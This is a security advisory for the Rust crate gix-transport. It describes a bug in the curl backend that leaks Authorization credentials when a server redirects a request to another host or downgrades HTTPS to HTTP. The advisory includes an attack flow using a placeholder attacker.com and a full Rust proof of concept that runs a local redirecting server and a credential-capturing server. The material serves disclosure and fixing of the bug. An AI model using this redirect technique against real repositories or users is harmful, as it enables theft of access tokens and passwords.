PT-2026-41405 · Crates.Io · Gix-Transport
Published
2026-05-05
·
Updated
2026-05-05
CVSS v3.1
6.8
Medium
| Vector | AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N |
Summary
The curl-based HTTP transport in
gix-transport sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial GET /info/refs, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The Authorization header is still attached because add basic auth if present() only checks self.url (the original, never-updated URL).The reqwest backend is not affected. Its custom redirect policy at
reqwest/remote.rs lines 60-64 compares prev url.host str() to curr url.host str() and calls attempt.stop() on cross-domain redirects, so redirected base url is never set to a different host.Details
The vulnerability involves two components in
gix-transport:1. URL rewriting after redirect ([gix-transport/src/client/blocking io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking io/http/curl/remote.rs))
After a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests,
swap tails() rewrites the target URL to point at the redirected host (line 166).2. Credential check uses original URL ([gix-transport/src/client/blocking io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking io/http/mod.rs#L293))
add basic auth if present() checks self.url (set once during construction, never mutated) to decide whether to attach credentials. Since self.url always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host.The
Authorization header is added to the headers list in handshake() (line 374) and request() (line 434) before being passed to the backend, which applies them to the rewritten URL via handle.http headers(headers) (line 309).Attack flow: cross-domain credential leak
- Victim clones
https://legitimate.com/repowith credentials configured - Server returns 302 redirect on
GET /info/refstohttps://attacker.com/... - Curl follows the redirect and strips
Authorizationfor this GET (safe so far) - Attacker serves a valid info/refs response;
redirected base urlis set POST /git-upload-packis rewritten viaswap tails()toattacker.comadd basic auth if present()checksself.url(stilllegitimate.com), approves credential sendingAuthorization: Basic <credentials>is sent toattacker.com
Curl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide.
Secondary vector: HTTPS-to-HTTP downgrade
The cleartext protection at
mod.rs line 300-305 also checks self.url:rust
if self.url.starts with("http://") {
return Err(client::Error::AuthenticationRefused("..."));
}This only validates the original URL's scheme, not the effective URL after redirect. A redirect from
https://legitimate.com to http://attacker.com bypasses this check, causing credentials to be sent in cleartext over HTTP.- Victim clones
https://legitimate.com/repowith credentials - Server redirects to
http://attacker.com/...(note: HTTP, not HTTPS) add basic auth if present()checksself.url(stillhttps://), allows credentialsAuthorizationheader is sent over unencrypted HTTP toattacker.com
PoC
A complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses
gix-transport to demonstrate the credential leak.To run: Create the project next to the gitoxide checkout so path dependencies resolve, then
cargo run.Cargo.toml
toml
[package]
name = "poc-gitoxide-redirect"
version = "0.1.0"
edition = "2021"
[dependencies]
# http-client-insecure-credentials is only needed because the PoC uses http://
# to avoid TLS setup. A real attack would use https:// and not require this feature.
gix-transport = { path = "../gitoxide/gix-transport", features = ["http-client-curl", "http-client-insecure-credentials"] }
gix-sec = { path = "../gitoxide/gix-sec" }
gix-url = { path = "../gitoxide/gix-url" }
gix-packetline = { path = "../gitoxide/gix-packetline", features = ["blocking-io"] }src/main.rs
rust
use std::io::{BufRead, BufReader, Write};
use std::net::TcpListener;
use std::sync::mpsc;
use std::thread;
use gix transport::client::{self, blocking io::http, blocking io::Transport, TransportWithoutIO};
fn main() {
println!("=== gitoxide HTTP credential leak via redirect ===
");
let (captured tx, captured rx) = mpsc::channel::<Vec<String>>();
// Attacker server (port 9090): captures credentials
let attacker = TcpListener::bind("127.0.0.1:9090").expect("bind attacker");
let attacker handle = thread::spawn(move || {
let (mut conn1, ) = attacker.accept().expect("accept conn1");
let mut reader1 = BufReader::new(conn1.try clone().unwrap());
let mut headers1 = Vec::new();
loop {
let mut line = String::new();
reader1.read line(&mut line).unwrap();
if line.trim().is empty() { break; }
headers1.push(line.trim().to string());
}
println!("[attacker] GET /info/refs headers (from redirect):");
for h in &headers1 { println!(" {h}"); }
let pkt service = "001e# service=git-upload-pack
";
let pkt flush = "0000";
let fake hash = "a".repeat(40);
let caps = "multi ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag";
let ref line = format!("{fake hash} HEAD0{caps}
");
let ref pkt = format!("{:04x}{ref line}", ref line.len() + 4);
let body = format!("{pkt service}{pkt flush}{ref pkt}{pkt flush}");
let response = format!(
"HTTP/1.1 200 OKr
Content-Type: application/x-git-upload-pack-advertisementr
Content-Length: {}r
Connection: closer
r
{body}",
body.len()
);
conn1.write all(response.as bytes()).unwrap();
conn1.flush().unwrap();
drop(conn1);
let (mut conn2, ) = attacker.accept().expect("accept conn2");
let mut reader2 = BufReader::new(conn2.try clone().unwrap());
let mut headers2 = Vec::new();
let mut content length: usize = 0;
loop {
let mut line = String::new();
reader2.read line(&mut line).unwrap();
if line.trim().is empty() { break; }
let trimmed = line.trim().to string();
if let Some(cl) = trimmed.strip prefix("Content-Length: ") {
content length = cl.parse().unwrap or(0);
}
headers2.push(trimmed);
}
if content length > 0 {
let mut body buf = vec![0u8; content length];
use std::io::Read;
reader2.read exact(&mut body buf).ok();
}
println!("
[attacker] POST /git-upload-pack headers:");
for h in &headers2 {
let prefix = if h.starts with("Authorization:") { " >>> LEAKED: " } else { " " };
println!("{prefix}{h}");
}
let resp body = "0000";
let response2 = format!(
"HTTP/1.1 200 OKr
Content-Type: application/x-git-upload-pack-resultr
Content-Length: {}r
Connection: closer
r
{resp body}",
resp body.len()
);
conn2.write all(response2.as bytes()).unwrap();
conn2.flush().unwrap();
drop(conn2);
captured tx.send(headers2).ok();
});
// Legitimate server (port 8080): redirects to attacker
let legit = TcpListener::bind("127.0.0.1:8080").expect("bind legit");
let legit handle = thread::spawn(move || {
let (mut conn, ) = legit.accept().expect("accept legit");
let mut reader = BufReader::new(conn.try clone().unwrap());
let mut request line = String::new();
reader.read line(&mut request line).unwrap();
println!("[legit] Received: {}", request line.trim());
loop {
let mut line = String::new();
reader.read line(&mut line).unwrap();
if line.trim().is empty() { break; }
}
let redirect url = "http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack";
let response = format!(
"HTTP/1.1 302 Foundr
Location: {redirect url}r
Content-Length: 0r
r
"
);
conn.write all(response.as bytes()).unwrap();
conn.flush().unwrap();
println!("[legit] Sent 302 redirect to attacker server");
});
thread::sleep(std::time::Duration::from millis(100));
println!("
[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...");
let url: gix url::Url = "http://127.0.0.1:8080/repo.git".try into().expect("parse url");
let mut transport: http::Transport<http::curl::Curl> =
http::connect(url, gix transport::Protocol::V1, false);
transport
.set identity(gix sec::identity::Account {
username: "victim-user".into(),
password: "super-secret-token".into(),
oauth refresh token: None,
})
.expect("set identity");
println!("[client] Performing handshake (GET /info/refs)...");
match transport.handshake(gix transport::Service::UploadPack, &[]) {
Ok( ) => println!("[client] Handshake succeeded"),
Err(e) => println!("[client] Handshake error: {e}"),
}
println!("[client] Sending request (POST /git-upload-pack)...");
match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {
Ok( writer) => println!("[client] Request sent"),
Err(e) => println!("[client] Request error: {e}"),
}
legit handle.join().ok();
attacker handle.join().ok();
println!("
=== RESULT ===");
if let Ok(headers) = captured rx.recv timeout(std::time::Duration::from secs(2)) {
let leaked = headers.iter().any(|h| h.starts with("Authorization:"));
if leaked {
let auth = headers.iter().find(|h| h.starts with("Authorization:")).unwrap();
println!("VULNERABLE: Credentials leaked to attacker server!");
println!("Captured: {auth}");
} else {
println!("NOT VULNERABLE: No credentials captured.");
}
} else {
println!("ERROR: Timed out.");
}
}Output:
[attacker] GET /info/refs headers (from redirect):
GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 127.0.0.1:9090
Accept: */*
User-Agent: git/oxide-0.55.0
[attacker] POST /git-upload-pack headers:
POST /repo.git/git-upload-pack HTTP/1.1
Host: 127.0.0.1:9090
>>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu
VULNERABLE: Credentials leaked to attacker server!
Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2VuThe GET (from redirect) has no
Authorization header. The POST carries the full credentials. The base64 decodes to victim-user:super-secret-token.Impact
Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (
http-client-curl feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.Suggested Fix
- Only attach
Authorizationif the effective URL's host matches the original URL's host. - Or block cross-origin redirects in the curl backend, matching reqwest's behavior.
- Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.
Fix
Insufficiently Protected Credentials
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Gix-Transport